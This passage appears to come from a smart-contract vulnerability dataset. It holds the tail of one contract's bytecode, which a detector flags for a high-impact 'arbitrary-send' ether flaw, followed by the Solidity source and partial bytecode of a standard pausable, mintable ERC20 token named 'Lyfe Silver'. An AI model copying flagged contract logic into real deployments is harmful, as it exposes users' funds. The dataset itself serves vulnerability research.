ff168152602001908152602001600020546121c690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611906826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121df90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a1657600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611a9b57600080fd5b5af11515611aa857600080fd5b5050506040513d6020811015611abd57600080fd5b81019080805190602001909291905050509150611af76046611ae9601e856121fd90919063ffffffff16565b61223890919063ffffffff16565b90506007544210158015611b235750600a543073ffffffffffffffffffffffffffffffffffffffff1631115b15611d7557600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611c0e57600080fd5b5af11515611c1b57600080fd5b5050506040513d6020811015611c3057600080fd5b810190808051906020019092919050505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611cc757600080fd5b5af11515611cd457600080fd5b5050506040513d6020811015611ce957600080fd5b810190808051906020019092919050505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611d7457600080fd5b5b6007544210158015611da05750600a543073ffffffffffffffffffffffffffffffffffffffff163111155b15611dc1576001600b60006101000a81548160ff0219169083151502179055505b5050565b6000611e5682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121df90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120a457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156120e057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008282111515156121d457fe5b818303905092915050565b60008082840190508381101515156121f357fe5b8091505092915050565b60008060008414156122125760009150612231565b828402905082848281151561222357fe5b0414151561222d57fe5b8091505b5092915050565b6000818381151561224557fe5b049050929150505600a165627a7a72305820b57ad99a28104eca27aac106e641bc14a5375da941e8e43d044972725d0a06fe0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,604 |
0xd64809f5f7d772d9112a6bd379de00a77188199e | pragma solidity ^0.4.26;
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Mintable is ERC20, Ownable {
event Mint(address indexed to, uint256 amount);
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
_mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
}
contract LyfeSilver is ERC20, ERC20Burnable, ERC20Pausable, ERC20Mintable{
string public constant name = "Lyfe Silver";
string public constant symbol = "LSILVER";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 500000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
} | 0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610138578063095ea7b3146101c857806318160ddd1461022d57806323b872dd146102585780632ff2e9dc146102dd578063313ce5671461030857806339509351146103395780633f4ba83a1461039e57806340c10f19146103b557806342966c681461041a57806346fbf68e146104475780635c975abb146104a25780636ef8d66d146104d157806370a08231146104e857806379cc67901461053f57806382dc1ec41461058c5780638456cb59146105cf5780638da5cb5b146105e657806395d89b411461063d578063a457c2d7146106cd578063a9059cbb14610732578063dd62ed3e14610797578063f2fde38b1461080e575b600080fd5b34801561014457600080fd5b5061014d610851565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018d578082015181840152602081019050610172565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b50610213600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088a565b604051808215151515815260200191505060405180910390f35b34801561023957600080fd5b506102426108ba565b6040518082815260200191505060405180910390f35b34801561026457600080fd5b506102c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c4565b604051808215151515815260200191505060405180910390f35b3480156102e957600080fd5b506102f26108f6565b6040518082815260200191505060405180910390f35b34801561031457600080fd5b5061031d610906565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034557600080fd5b50610384600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061090b565b604051808215151515815260200191505060405180910390f35b3480156103aa57600080fd5b506103b361093b565b005b3480156103c157600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ea565b604051808215151515815260200191505060405180910390f35b34801561042657600080fd5b5061044560048036038101908080359060200190929190505050610aaa565b005b34801561045357600080fd5b50610488600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab7565b604051808215151515815260200191505060405180910390f35b3480156104ae57600080fd5b506104b7610ad4565b604051808215151515815260200191505060405180910390f35b3480156104dd57600080fd5b506104e6610aeb565b005b3480156104f457600080fd5b50610529600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af6565b6040518082815260200191505060405180910390f35b34801561054b57600080fd5b5061058a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3e565b005b34801561059857600080fd5b506105cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b4c565b005b3480156105db57600080fd5b506105e4610b6c565b005b3480156105f257600080fd5b506105fb610c1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064957600080fd5b50610652610c42565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610692578082015181840152602081019050610677565b50505050905090810190601f1680156106bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106d957600080fd5b50610718600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7b565b604051808215151515815260200191505060405180910390f35b34801561073e57600080fd5b5061077d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cab565b604051808215151515815260200191505060405180910390f35b3480156107a357600080fd5b506107f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cdb565b6040518082815260200191505060405180910390f35b34801561081a57600080fd5b5061084f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d62565b005b6040805190810160405280600b81526020017f4c7966652053696c76657200000000000000000000000000000000000000000081525081565b6000600460009054906101000a900460ff161515156108a857600080fd5b6108b28383610eba565b905092915050565b6000600254905090565b6000600460009054906101000a900460ff161515156108e257600080fd5b6108ed848484610fe7565b90509392505050565b601260ff16600a0a6207a1200281565b601281565b6000600460009054906101000a900460ff1615151561092957600080fd5b6109338383611199565b905092915050565b61094433610ab7565b151561094f57600080fd5b600460009054906101000a900460ff16151561096a57600080fd5b6000600460006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4857600080fd5b610a5283836113d0565b8273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b610ab4338261150e565b50565b6000610acd82600361169990919063ffffffff16565b9050919050565b6000600460009054906101000a900460ff16905090565b610af43361172d565b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b488282611787565b5050565b610b5533610ab7565b1515610b6057600080fd5b610b698161192f565b50565b610b7533610ab7565b1515610b8057600080fd5b600460009054906101000a900460ff16151515610b9c57600080fd5b6001600460006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600781526020017f4c53494c5645520000000000000000000000000000000000000000000000000081525081565b6000600460009054906101000a900460ff16151515610c9957600080fd5b610ca38383611989565b905092915050565b6000600460009054906101000a900460ff16151515610cc957600080fd5b610cd38383611bc0565b905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dbe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610dfa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ef757600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561107457600080fd5b61110382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118e848484611bf8565b600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111d657600080fd5b61126582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156113f657600080fd5b61140b81600254611e1190919063ffffffff16565b600281905550611462816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561153457600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561158157600080fd5b61159681600254611bd790919063ffffffff16565b6002819055506115ed816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156116d657600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611741816003611e3290919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561181257600080fd5b6118a181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061192b828261150e565b5050565b611943816003611ee190919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119c657600080fd5b611a5582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000611bcd338484611bf8565b6001905092915050565b600080838311151515611be957600080fd5b82840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611c4557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c8157600080fd5b611cd2816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d65816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000808284019050838110151515611e2857600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e6e57600080fd5b611e788282611699565b1515611e8357600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffff